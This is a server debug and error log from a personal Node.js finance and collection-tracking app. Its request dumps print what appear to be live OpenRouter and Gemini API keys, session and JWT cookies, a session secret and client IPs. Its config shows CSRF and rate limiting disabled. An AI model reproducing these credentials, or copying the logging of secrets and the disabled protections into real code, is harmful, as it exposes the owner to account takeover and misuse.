    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AfvIu6k1eCtft2EABz6HX8w%3D%3D.keV42OGufnbfGn6Wf5qh%2Feqa8iX%2ByokLKCLy3yoWY8T0nu18xywQV%2BJu5VT9GYJ1l3BpYQZS4sG%2B7S9pxAFc59%2FVjgSwuyjwkrZkLHmi2eKrJv4fs6xa20MimFsupWMweq7FWcMiXZs4bKZsGmV1xMSFKxe6b%2F7UsNuyrpDCuHQ%3D.rVpG18PnaLRgzf5l6vVpdrK%2BSLxWO7e0HYaCyx7Giz8',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-12T04:17:16.264Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AfvIu6k1eCtft2EABz6HX8w%3D%3D.keV42OGufnbfGn6Wf5qh%2Feqa8iX%2ByokLKCLy3yoWY8T0nu18xywQV%2BJu5VT9GYJ1l3BpYQZS4sG%2B7S9pxAFc59%2FVjgSwuyjwkrZkLHmi2eKrJv4fs6xa20MimFsupWMweq7FWcMiXZs4bKZsGmV1xMSFKxe6b%2F7UsNuyrpDCuHQ%3D.rVpG18PnaLRgzf5l6vVpdrK%2BSLxWO7e0HYaCyx7Giz8',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-11 04:21:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-11 04:21:39' as DATETIME)"
}
2026-05-11T13:25:27.457Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-11T13:25:29.730Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-11T13:25:30.595Z server-connect:setup:upload Upload middleware configured.
2026-05-11T13:25:30.595Z server-connect:secure CSRF Protection initialized
2026-05-11T13:25:30.600Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-11T13:25:30.603Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-11T13:25:30.603Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-11T13:25:30.606Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-11T13:25:30.613Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-11T13:25:30.618Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-11T13:25:30.630Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-11T13:25:30.643Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-11T13:25:30.647Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-11T13:25:30.648Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-11T13:25:30.650Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-11T13:25:30.655Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-11T13:25:30.660Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-11T13:25:30.671Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-11T13:25:30.675Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-11T13:25:30.745Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-11T13:25:30.746Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-11T13:25:30.750Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-11T13:25:30.756Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-11T13:25:30.761Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-11T13:25:30.762Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-11T13:25:30.771Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-11T13:25:30.772Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-11T13:25:30.777Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-11T13:25:30.780Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-11T13:25:30.783Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-11T13:25:30.785Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-11T13:25:30.788Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-11T13:25:30.793Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-11T13:25:30.795Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-11T13:25:30.797Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-11T13:25:30.799Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-11T13:25:30.803Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-11T13:25:30.807Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-11T13:25:30.813Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-11T13:25:30.816Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-11T13:25:30.818Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-11T13:25:30.828Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-11T13:25:31.319Z server-connect:router Serving templateView /
2026-05-11T13:25:31.360Z server-connect:app Executing action step identify
2026-05-11T13:25:31.360Z server-connect:app options: { provider: 'security' }
2026-05-11T13:25:31.372Z server-connect:auth No login cookie found
2026-05-11T13:25:31.372Z server-connect:output identity: false
2026-05-11T13:25:31.372Z server-connect:app Executing action step restrict
2026-05-11T13:25:31.373Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-11T13:25:31.377Z server-connect:output restrict: undefined
2026-05-11T13:25:32.291Z server-connect:router Serving templateView /login
2026-05-11T13:25:32.291Z server-connect:app Executing action step identify
2026-05-11T13:25:32.291Z server-connect:app options: { provider: 'security' }
2026-05-11T13:25:32.291Z server-connect:auth No login cookie found
2026-05-11T13:25:32.292Z server-connect:output identity: false
2026-05-11T13:25:32.292Z server-connect:router Render template layouts/authentication
2026-05-11T13:25:32.292Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    cookie: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiaWF0IjoxNzc4NDQzMTUwLjkzMDE2MywiZXhwIjoxNzc4NTI0MjAwLjAwMDA0OH0.m2qrTFCuu_EBmDvZtr-NafBwwze-z1ab5b-Dsq6IdVc',
    'x-forwarded-for': '2409:40d4:2419:cf36:91f:d2a1:3b04:7eae',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    userID: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiaWF0IjoxNzc4NDQzMTUwLjkzMDE2MywiZXhwIjoxNzc4NTI0MjAwLjAwMDA0OH0.m2qrTFCuu_EBmDvZtr-NafBwwze-z1ab5b-Dsq6IdVc'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-12T13:25:32.289Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2409:40d4:2419:cf36:91f:d2a1:3b04:7eae',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiaWF0IjoxNzc4NDQzMTUwLjkzMDE2MywiZXhwIjoxNzc4NTI0MjAwLjAwMDA0OH0.m2qrTFCuu_EBmDvZtr-NafBwwze-z1ab5b-Dsq6IdVc',
    'HTTP_X_FORWARDED-FOR': '2409:40d4:2419:cf36:91f:d2a1:3b04:7eae',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-11 13:41:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-11 13:41:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-11 16:17:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-11 16:17:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-11 17:27:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-11 17:27:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-11 19:14:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-11 19:14:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-11 21:37:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-11 21:37:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-12 03:11:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-12 03:11:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-12 05:33:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-12 05:33:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-12 09:26:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
